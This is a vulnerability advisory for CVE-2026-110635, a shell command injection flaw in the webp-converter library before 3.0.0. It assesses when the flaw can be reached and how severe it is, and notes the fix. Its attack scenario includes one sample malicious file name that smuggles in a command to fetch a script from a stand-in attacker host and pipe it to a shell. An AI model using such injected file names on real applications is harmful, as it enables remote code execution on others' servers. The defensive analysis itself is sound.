webp-converter CVE-2026-110635

Exploitation requires a host application to pass attacker-influenced data - specifically file name arguments or the free-form option string - into webp-converter's cwebp, dwebp, gwebp, or webpmux/buffer helper functions in versions before 3.0.0, whose code path invoked the libwebp binary through exec(..., { shell: true }). The decisive trigger is any unsanitized shell metacharacter (;, |, ` `, $()`) in those inputs. LIMITING FACTORS: the library is not itself a listening service, so exploitation depends on the integrating application actually routing untrusted input (e.g. uploaded filenames or user-supplied conversion options) into these functions; applications that only pass server-controlled, fixed paths/options are not exposed. Fixed in 3.0.0, which switches to argv-array execution without a shell.

This is a genuine high-severity flaw backed by strong technical evidence, but its headline CVSS 4.0 score of 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N) overstates universal real-world risk because webp-converter is a LIBRARY, not a network-facing service. The command injection is confirmed by the source diff: the pre-3.0.0 code built a shell command string and called exec/execFile with { shell: true }, so sh -c interpreted attacker-supplied file names or option strings, enabling CWE-78 injection. The CVSS network/unauthenticated rating is only accurate when a consuming application forwards untrusted input (e.g. user-controlled upload filenames or conversion options) into cwebp/dwebp/gwebp/webpmux - the library itself imposes no authentication, but reachability is entirely a function of the host application's design. No EPSS score, KEV listing, or POC was supplied in the intelligence, so there is no evidence of active exploitation or mass scanning; the signals point to a credible but not-yet-weaponized issue. A vendor patch exists (PR #53, commit f1b6724), which should drive prioritization: patch is low-cost and the technical impact (full code execution as the Node.js process) is severe where reachable.

An application uses webp-converter to process user-uploaded images and passes the original upload filename (or a user-chosen option string) directly to cwebp or webpmux. An attacker uploads a file named something like x.png; curl attacker/sh | sh (or embeds metacharacters in an option field); because the pre-3.0.0 code executes via sh -c, the injected shell command runs with the privileges of the Node.js process. No public exploit code was identified at time of analysis, though the patched vulnerable code is publicly visible in the PR diff.